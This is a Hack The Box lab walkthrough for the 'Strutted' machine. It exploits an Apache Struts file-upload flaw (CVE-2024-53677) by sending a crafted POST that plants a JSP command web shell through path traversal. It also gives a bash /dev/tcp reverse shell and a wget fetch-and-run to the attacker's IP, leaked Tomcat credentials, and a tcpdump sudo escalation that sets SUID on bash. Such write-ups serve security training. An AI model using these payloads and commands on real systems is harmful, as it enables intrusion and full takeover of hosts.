strutted - hack the box

Strutted is a vulnerable Linux machine featuring a website for a company offering image hosting solutions.

The website provides a Docker container with the version of Apache Struts that is vulnerable to a file upload exploit.

Further enumeration will reveal credentials from a build of Tomcat that we can use to take control of a user on our target machine.

For privilege escalation, we abuse tcpdump while being used with sudo to create a copy of the bash binary with the SUID bit set, allowing us to gain a root shell.

https://app.hackthebox.com/machines/Strutted

Enumeration

Target IP: 10.129.231.200 Attacker IP: 10.10.14.92

nmap -sCVS 10.129.231.200

22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://strutted.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We don’t have too many ports open here which is a relief. Lets adjust our /etc/hosts file to include the IP and hostname.

sudo nano /etc/hosts

alt text

We head to http://strutted.htb

It looks like we can upload files through this web interface. However, it looks like the application only accept image types (JPG, JPEG, PNG, GIF)

alt text

Lets upload an image and intercept it with Burp Suite to see what sort of POST request is made when we upload an image through this service.

Burp Suite

We upload a stock JPG photo

alt text

There is not much we can see apart from a jsessionid being created when we upload this stock photo. This means that this application is Java based. Let’s keep this in mind as we continue to enumerate.

Source Code

We have a download option up in the menu of the website.

alt text

Downloading this exposes the whole source code behind the web application, and its safe to assume that this website is likely utilizing the same source.

alt text

We even get a user guide which is helpful to understand what this web app is supposed to be doing.

In the main directory we find a tomcat-users.xml file.

strutted/tomcat-users.xml

This contains a plaintext password for user admin.

admin:skqKY6360z!Y

alt text

Let’s look for vulnerable points of attack that are packaged into this web app.

The classes folder is an interesting location. The struts.xml file reveals that Apache Struts 2.5 is running.

strutted/strutted/target/classes/struts.xml

alt text

We find this PoC that we can investigate to see if our web app will be vulnerable.

https://github.com/cloudwafs/s2-067-CVE-2024-53677

    upload_url = urljoin(target_url, upload_endpoint)
    test_filename = "../../vuln_test.txt"
    harmless_content = "S2-067 detection test."

    # Attempt to overwrite file name using OGNL binding
    files = {
        "upload": ("test.txt", harmless_content, "text/plain"),
        "top.uploadFileName": test_filename  # Attempt filename overwrite
    }

    # Custom Content-Type boundary
    boundary = "----WebKitFormBoundary" + "".join(random.choices("abcdefghijklmnopqrstuvwxyz0123456789", k=16))
    m = MultipartEncoder(fields=files, boundary=boundary)
    headers = {
        "User-Agent": "Mozilla/5.0",
        "Content-Type": m.content_type
    }

    logging.info(f"Sending test request to upload endpoint: {upload_url}")

    try:
        # Send file upload request
        response = requests.post(upload_url, headers=headers, data=m, timeout=10)

        # Analyze HTTP response
        if response.status_code == 200:
            logging.info("[INFO] File upload request succeeded.")
            if "vuln_test.txt" in response.text:
                logging.warning("[ALERT] File name overwrite detected. Target may be vulnerable!")

In this excerpt of the Python script we can understand what is going on. There is an issue with the upload logic in this affected version. A file is uploaded with a directory traversing format, ‘../../vuln_test.txt’

Then via OGNL binding, we attempt to overwrite the original filename. If we receive a 200 status response from this, we know that the target is likely vulnerable.

The web application does validate any files we try to upload. I tried to upload a .jsp file for example, and the response shows that my request was blocked.

alt text

Uploading Web Shell via Burp Suite

We will have to find a way around this. The first idea I have is manipulating the magic bytes in a way that we can upload any file under the disguise of the supported file types in the web application.

We are going to code from this web shell to upload onto our target server.

https://github.com/SecurityRiskAdvisors/cmd.jsp

We are going to edit our POST request for whenever we upload a file. In this case, we were uploading a GIF.

Original POST request

Host: strutted.htb
Content-Length: 23238
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://strutted.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryed2FXvVdBn8Nrtmz
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://strutted.htb/
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=203A4B8CF1F1BBD64D7ABE6D50970249
Connection: keep-alive

------WebKitFormBoundaryed2FXvVdBn8Nrtmz
Content-Disposition: form-data; name="upload"; filename="test.gif"
Content-Type: image/gif

	(more gif data here I removed)
------WebKitFormBoundaryed2FXvVdBn8Nrtmz--

Modified POST request utilizing our GIF magic byte and manipulation of name parameter and form data boundary to upload a web shell.

Host: strutted.htb
Content-Length: 1264
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://strutted.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryed2FXvVdBn8Nrtmz
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://strutted.htb/
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=203A4B8CF1F1BBD64D7ABE6D50970249
Connection: keep-alive

------WebKitFormBoundaryed2FXvVdBn8Nrtmz
Content-Disposition: form-data; name="Upload"; filename="test.gif"
Content-Type: image/gif

<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
    out.println("Command: " + request.getParameter("cmd") + "<BR>");

    Process p;
    if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
        p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
    }
    else{
        p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
    out.println(disr);
    disr = dis.readLine();
    }
}
%>
</pre>
</BODY></HTML>


------WebKitFormBoundaryed2FXvVdBn8Nrtmz
Content-Disposition: form-data; name="uploadFileName"; 

../../shell.jsp
------WebKitFormBoundaryed2FXvVdBn8Nrtmz--

Here is the output that we receive when running the modified POST request:

![[Modified POST.png]]

There are a few changes that we made to this POST request to have this exploit work. We had to change the name parameter as well as add a new boundary with the new file name. As seen in the PoC previously as well, we used a file name appended by ../../ (directory traversal) so we can reach the web shell in the root of the web application. We test it and now have access.

Reverse Shell and James Access

alt text

Lets see if we can get a reverse shell going.

We upload a simple reverse shell to the server and then run it as seen below: payload.sh

bash -i >& /dev/tcp/10.10.14.92/5555 0>&1

Then we upload it to our target machine and run it via bash.

wget http://10.10.14.92/payload.sh -O /tmp/payload.sh

bash /tmp/payload.sh

alt text

We make sure to set up our listener on port 5555 in our case and we get a hit.

alt text

We see a james user account set up. Recall our clear text password that we found earlier in the tomcat_users.xml file.

alt text

We attempt to use that password but no luck.

alt text

Lets keep looking for any passwords, we can look in the same spot as we did when we downloaded the .zip file to see if it has been updated.

It looks like it has been updated, here is the path to where we can find the new password

/var/lib/tomcat9/conf/tomcat_users.xml

alt text

alt text

We try to switch to james again but have no luck… recall that port 22 was open however, we did not check neither ports via SSH.

james:IT14d6SSP81k

ssh [email protected]

We have access via SSH!

Privilege Escalation via tcpdump

sudo -l

alt text

sudo -l shows us that James has sudo permissions on tcpdump.

We can escalate privileges through this configuration.

https://gtfobins.github.io/gtfobins/tcpdump/

We will run the following commands from gtfobins with slight modifications.

COMMAND='chmod 4777 /bin/bash'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

Chmod 4777 (chmod a+rwx,ug+s,+t,g-s,-t) sets permissions so that, (U)ser / owner can read, can write and can execute. (G)roup can read, can write and can execute. (O)thers can read, can write and can execute.

With this, we can run bash -p as James and get to our root flag. pwned

alt text

 

pwnand.win